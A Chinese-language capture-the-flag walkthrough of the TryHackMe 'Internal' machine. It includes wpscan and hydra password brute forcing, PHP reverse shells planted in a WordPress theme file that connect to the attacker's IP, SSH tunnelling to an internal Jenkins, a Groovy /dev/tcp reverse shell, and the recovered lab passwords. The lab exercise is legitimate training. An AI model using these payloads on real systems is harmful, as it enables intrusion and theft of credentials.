Internal
信息收集:
nmap扫一波

22和80端口开放
扫下后台

有一个phpadmin和wordpress的后台登录
使用wpscn扫一下看看情况
1
| wpscan --url "http://10.10.50.8/blog" -eu
|

利用wpscan爆破密码
1
| wpscan --url "http://10.10.50.8/blog" -U admin -P /usr/share/wordlists/rockyou.txt
|

得到密码 my2boys
漏洞利用

这个地方可以添加php代码 然后具体路径的话 可以去网上找到
1
| http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php/
|

添加一个反弹shell的命令
1 2 3
| <?php exec("nc -e /bin/bash 主机IP 主机端口"); ?>
|
或者
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $ip = "10.14.74.6"; $port = "4444"; $sock = fsockopen($ip, $port); $descriptorspec = array( 0 => $sock, 1 => $sock, 2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process); ?>
|
第二个可以连上 然后搞一个python的 交互shell
1
| python -c 'import pty; pty.spawn("/bin/bash")'
|
发现现在只是ww-data用户 看一下数据库是否有其他用户的信息

连接上去看看情况
里面就有一个admin用户 并没有 我们想要的aubreanna用户的密码 查看/etc/shadow的内容提示没权限
这里看了一下wp是在opt目录下发现的信息(以后还得仔细地翻看每个目录下的关键信息)

得到密码之后ssh登录上去即可 bubb13guM!@#123
提权
在 jenkins.txt 中可以看到还有一层内网的服务

利用ssh将这个ip上的服务转移到本地的8081端口上
1
| ssh -L 8081:172.17.0.2:8080 aubreanna@10.10.201.110
|
然后访问localhost:8081 即可

我这里利用hydra去爆破密码了
1
| hydra -s 8081 -V -f -t 50 127.0.0.1 http-form-post "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in&Login=Login:Invalid username or password" -l admin -P /usr/share/wordlists/rockyou.txt
|
能得到密码 spongebob
登录后台之后 再script下可以进行命令执行

进行一个反弹shell
1 2 3 4 5
| r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.14.74.6/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
|
得到shell之后 再次再opt目录下找到root的密码 tr0ub13guM!@#123

远程登录即可